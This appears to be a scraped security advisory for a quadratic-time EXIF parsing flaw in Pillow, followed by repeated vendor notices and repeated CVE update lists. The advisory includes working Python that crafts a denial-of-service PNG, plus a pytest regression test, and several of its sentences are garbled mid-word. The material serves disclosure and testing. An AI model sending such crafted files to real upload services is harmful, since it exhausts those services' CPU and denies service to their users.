CVE-2026-96643

Summary

A PNG file with a large eXIf chunk full of repeated 6-byte markers makes Pillow's EXIF parser take seconds of CPU instead of milliseconds. The cost grows with the square of the chunk size, so a normal small-photo-sized file is enough to cause real delay.

Details

Exif.load() in src/PIL/Image.py strips a marker from the start of the EXIF data like this:

while data and data.startswith(b"Exif\x00\x00"):
    data = data[6:]

Each pass makes a new copy of the remaining data. A real camera writes this marker once, so this is not normally a problem.

chunk_eXIf() in src/PIL/PngImagePlugin.py puts the raw PNG eXIf chunk straight into info["exif"] with no size limit and no check of its content. PNG text chunks (tEXt, zTXt, iTXt) are capped with MAX_TEXT_CHUNK and MAX_TEXT_MEMORY. The eXIf chunk has no such cap.

If the eXIf chunk is filled with repeated Exif\x00\x00 markers instead of real EXIF data, the strip loop runs once per marker, copying a large buffer each time. This is a classic quadratic time bug.

Steps to reproduce

This builds a small PNG in memory and times Image.open().getexif() on it. No external file needed.

import time
from io import BytesIO
from PIL import Image, PngImagePlugin

def chunk(cid, *data):
    fp = BytesIO()
    PngImagePlugin.putchunk(fp, cid, *data)
    return fp.getvalue()

MAGIC = PngImagePlugin._MAGIC
IHDR = chunk(b"IHDR", PngImagePlugin.o32(1), PngImagePlugin.o32(1), b"\x08\x02", b"\0\0\0")
IDAT = chunk(b"IDAT")
IEND = chunk(b"IEND")

marker = b"Exif\x00\x00"
exif_chunk = chunk(b"eXIf", marker * 300_000)  # 1.8MB, all markers
data = MAGIC + IHDR + exif_chunk + IDAT + IEND

start = time.time()
with Image.open(BytesIO(data)) as im:
    im.getexif()
print("took", time.time() - start, "seconds")

Expected output on a fixed version: well under 0.1 seconds, the same as a normal file this size.

Actual output on the current code: around 3.5 to 3.7 seconds, for a single 1.8MB file. We checked with a prohis time is spent inside the strip loop itself, not somewhere else. We also checked the growth rate across a few sizes (200KB, 600KB, 1.2MB, 1.8MB) and it matches quadratic growth closely, not linear.

A pytest version of this test, using pytest-timeout so a test run does not hang if the bug is present, is it fails with Failed: Timeout (>2.0s) from pytest-timeout.

import pytest
from io import BytesIO
from PIL import Image, PngImagePlugin

def chunk(cid, *data):
    fp = BytesIO()
    PngImagePlugin.putchunk(fp, cid, *data)
    return fp.getvalue()

MAGIC = PngImagePlugin._MAGIC
IHDR = chunk(b"IHDR", PngImagePlugin.o32(1), PngImagePlugin.o32(1), b"\x08\x02", b"\0\0\0")
IDAT = chunk(b"IDAT")
IEND = chunk(b"IEND")

@pytest.mark.timeout(2)
def test_exif_load_is_not_quadratic():
    marker = b"Exif\x00\x00"
    exif_chunk = chunk(b"eXIf", marker * 300_000)
    data = MAGIC + IHDR + exif_chunk + IDAT + IEND
    with Image.open(BytesIO(data)) as im:
        im.getexif()

Impact

• Availability: an attacker who can get one PNG file processed can burn several seconds of CPU per request w A bigger file scales worse, since the cost is quadratic, not linear.
• Confidentiality: none.
• Integrity: none.
• This fires through Image.getexif(), Image._getexif(), and ImageOps.exif_transpose(). exif_transpose() is the function Pillow's own docs recommend for auto-rotating user photos, so this can hit normal upload handling code, not just an unusual call.

Pillow is a Python imaging library. From 11.0.0 until 13.0.0, Exif.load() in src/PIL/Image.py repeatedly slices the remaining EXIF data while it begins with the six-byte Exif header. src/PIL/PngImagePlugin.py accepts an uncapped PNG eXIf chunk, so a file filled with repeated headers causes a new shrinking copy on every iteration and quadratic CPU work. The condition is reachable through Image.getexif(), Image._getexif(), and ImageOps.exif_transpose(), including common photo-upload rotation workflows. This issue is fixed in version 13.0.0.

Pillow is a Python imaging library. From 11.0.0 until 13.0.0, Exif.load() in src/PIL/Image.py repeatedly slices the remaining EXIF data while it begins with the six-byte Exif header. src/PIL/PngImagePlugin.py accepts an uncapped PNG eXIf chunk, so a file filled with repeated headers causes a new shrinking copy on every iteration and quadratic CPU work. The condition is reachable through Image.getexif(), Image._getexif(), and ImageOps.exif_transpose(), including common photo-upload rotation workflows. This issue is fixed in version 13.0.0.

Pillow is a Python imaging library. From 11.0.0 until 13.0.0, Exif.load() in src/PIL/Image.py repeatedly slices the remaining EXIF data while it begins with the six-byte Exif header. src/PIL/PngImagePlugin.py accepts an uncapped PNG eXIf chunk, so a file filled with repeated headers causes a new shrinking copy on every iteration and quadratic CPU work. The condition is reachable through Image.getexif(), Image._getexif(), and ImageOps.exif_transpose(), including common photo-upload rotation workflows. This issue is fixed in version 13.0.0.

TuxCare rebuilt pillow to address 6 CVEs. Fixed in 11.3.0.post9+tuxcare.

TuxCare rebuilt pillow to address 6 CVEs. Fixed in 11.2.1.post11+tuxcare.

This update for python-Pillow fixes the following issues:

• CVE-2026-96636: decompression-bomb protection bypass via multi-frame seek() in MPO and DCX (bsc#1286802).
• CVE-2026-96637: decompression bomb check bypass in SpiderImagePlugin.seek() leads to unbounded allocation DoS (bsc#1286801).
• CVE-2026-96638: BMP RLE decoder memory-amplification DoS via unbounded delta escape/absolute mode (bsc#1286800).
• CVE-2026-96639: multi-frame loaders can reuse stale native image storage after mode transitions (bsc#1286799).
• CVE-2026-96640: PDF append accepts malformed shared page-tree DAG, which can cause resource exhaustion (bsc#1286798).
• CVE-2026-96641: reachable undefined behavior in native integer operations can lead to denial of service or logic integrity compromise (bsc#1286797).
• CVE-2026-96642: TarIO negative size field causes infinite CPU-spin loop (bsc#1286796).
• CVE-2026-96643: PNG eXIf chunk makes EXIF parsing run in quadratic time (bsc#1286795).
• CVE-2026-96778: heap buffer overflow writing JPEG comment after ICC profile fills buffer (bsc#1286793).
• CVE-2026-112390: Denial of Service via infinite loop during crafted MIC image parsing (bsc#1286256).
• CVE-2026-112391: Denial of Service via unbounded recursion in PDF parser (bsc#1286273).
• CVE-2026-112392: Denial of Service via zero-size images in rank filters (bsc#1286287).
• CVE-2026-112393: heap buffer overflow and stale-heap disclosure in _tiffWriteProc when saving compressed TIFF data (bsc#1286325).
• CVE-2026-112394: P;2L and P;4L decoders may read 1 to 3 bytes past the passed buffer size (bsc#1286311).
• CVE-2026-112395: Pillow tiled-TIFF decoder reads past tile buffer in copy4 (bsc#1286312).
• CVE-2026-112396: heap use-after-free when encoding TIFF to an in-memory buffer (bsc#1286313).
• CVE-2026-112397: out-of-bounds access in _imagingmorph on a zero-width image (bsc#1286314).
• CVE-2026-112398: heap buffer overflow in FPX JPEG decoding can lead to code execution (bsc#1286406).
• CVE-2026-112399: Denial of service via crafted APNG image (bsc#1286368).
• CVE-2026-112400: Denial of Service via memory exhaustion from crafted GIF image (bsc#1286370).
• CVE-2026-112401: Denial of Service via crafted GIF comments (bsc#1286372).
• CVE-2026-112402: Denial of service via double free during image transformation (bsc#1286381).
• CVE-2026-112403: heap buffer overflow in ImagingJpegDecode allows for code execution (bsc#1286405).
• CVE-2026-112404: Denial of Service via out-of-bounds read in TIFF decoding (bsc#1286388).
• CVE-2026-112405: NULL pointer dereference in Image.merge via an unvalidated band 0 (bsc#1286404).
• CVE-2026-112406: infinite loop in PdfParser.rewrite_pages on page tree Parent cycle (bsc#1286403).
• CVE-2026-112891: quadratic GIF comment copying during save (bsc#1286402).
• CVE-2026-112892: MSP RLE decoder expands a tiny file into unbounded memory (bsc#1286401).
• CVE-2026-112893: Denial of Service via invalid pointer free during font rendering (bsc#1286392).
• CVE-2026-112894: Denial of Service via crafted multi-frame image conversion (bsc#1286408).
• CVE-2026-112895: Denial of service via crafted PDF during append operations (bsc#1286411).
• CVE-2026-112896: TIFF encoder ColorMap plane-size mismatch causes a heap out-of-bounds read (bsc#1286400).
• CVE-2026-112897: TiffDecode returns uninitialized memory as pixels for short JPEG strips (bsc#1286398).
• CVE-2026-112898: Image.quantize() with empty palette can leak uninitialized stack memory (bsc#1286399).
• CVE-2026-112899: EPS load(scale) lets Ghostscript render past the decompression bomb limit (bsc#1286489).
• CVE-2026-112900: argument Injection in Ghostscript call can lead to remote code execution (bsc#1286397).
• CVE-2026-112901: ReDoS in XbmImagePlugin can be triggered by 512-byte file (bsc#1286396).
• CVE-2026-112902: memory disclosure and segfault in libtiff encoder via crafted TIFF tags (bsc#1286804).
• CVE-2026-114501: Arrow export leaks stale heap…

This update for python-Pillow fixes the following issues:

• CVE-2026-96636: decompression-bomb protection bypass via multi-frame seek() in MPO and DCX (bsc#1286802).
• CVE-2026-96637: decompression bomb check bypass in SpiderImagePlugin.seek() leads to unbounded allocation DoS (bsc#1286801).
• CVE-2026-96638: BMP RLE decoder memory-amplification DoS via unbounded delta escape/absolute mode (bsc#1286800).
• CVE-2026-96639: multi-frame loaders can reuse stale native image storage after mode transitions (bsc#1286799).
• CVE-2026-96640: PDF append accepts malformed shared page-tree DAG, which can cause resource exhaustion (bsc#1286798).
• CVE-2026-96641: reachable undefined behavior in native integer operations can lead to denial of service or logic integrity compromise (bsc#1286797).
• CVE-2026-96642: TarIO negative size field causes infinite CPU-spin loop (bsc#1286796).
• CVE-2026-96643: PNG eXIf chunk makes EXIF parsing run in quadratic time (bsc#1286795).
• CVE-2026-96778: heap buffer overflow writing JPEG comment after ICC profile fills buffer (bsc#1286793).
• CVE-2026-112390: Denial of Service via infinite loop during crafted MIC image parsing (bsc#1286256).
• CVE-2026-112391: Denial of Service via unbounded recursion in PDF parser (bsc#1286273).
• CVE-2026-112392: Denial of Service via zero-size images in rank filters (bsc#1286287).
• CVE-2026-112393: heap buffer overflow and stale-heap disclosure in _tiffWriteProc when saving compressed TIFF data (bsc#1286325).
• CVE-2026-112394: P;2L and P;4L decoders may read 1 to 3 bytes past the passed buffer size (bsc#1286311).
• CVE-2026-112395: Pillow tiled-TIFF decoder reads past tile buffer in copy4 (bsc#1286312).
• CVE-2026-112396: heap use-after-free when encoding TIFF to an in-memory buffer (bsc#1286313).
• CVE-2026-112397: out-of-bounds access in _imagingmorph on a zero-width image (bsc#1286314).
• CVE-2026-112398: heap buffer overflow in FPX JPEG decoding can lead to code execution (bsc#1286406).
• CVE-2026-112399: Denial of service via crafted APNG image (bsc#1286368).
• CVE-2026-112400: Denial of Service via memory exhaustion from crafted GIF image (bsc#1286370).
• CVE-2026-112401: Denial of Service via crafted GIF comments (bsc#1286372).
• CVE-2026-112402: Denial of service via double free during image transformation (bsc#1286381).
• CVE-2026-112403: heap buffer overflow in ImagingJpegDecode allows for code execution (bsc#1286405).
• CVE-2026-112404: Denial of Service via out-of-bounds read in TIFF decoding (bsc#1286388).
• CVE-2026-112405: NULL pointer dereference in Image.merge via an unvalidated band 0 (bsc#1286404).
• CVE-2026-112406: infinite loop in PdfParser.rewrite_pages on page tree Parent cycle (bsc#1286403).
• CVE-2026-112891: quadratic GIF comment copying during save (bsc#1286402).
• CVE-2026-112892: MSP RLE decoder expands a tiny file into unbounded memory (bsc#1286401).
• CVE-2026-112893: Denial of Service via invalid pointer free during font rendering (bsc#1286392).
• CVE-2026-112894: Denial of Service via crafted multi-frame image conversion (bsc#1286408).
• CVE-2026-112895: Denial of service via crafted PDF during append operations (bsc#1286411).
• CVE-2026-112896: TIFF encoder ColorMap plane-size mismatch causes a heap out-of-bounds read (bsc#1286400).
• CVE-2026-112897: TiffDecode returns uninitialized memory as pixels for short JPEG strips (bsc#1286398).
• CVE-2026-112898: Image.quantize() with empty palette can leak uninitialized stack memory (bsc#1286399).
• CVE-2026-112899: EPS load(scale) lets Ghostscript render past the decompression bomb limit (bsc#1286489).
• CVE-2026-112900: argument Injection in Ghostscript call can lead to remote code execution (bsc#1286397).
• CVE-2026-112901: ReDoS in XbmImagePlugin can be triggered by 512-byte file (bsc#1286396).
• CVE-2026-112902: memory disclosure and segfault in libtiff encoder via crafted TIFF tags (bsc#1286804).
• CVE-2026-114501: Arrow export leaks stale heap…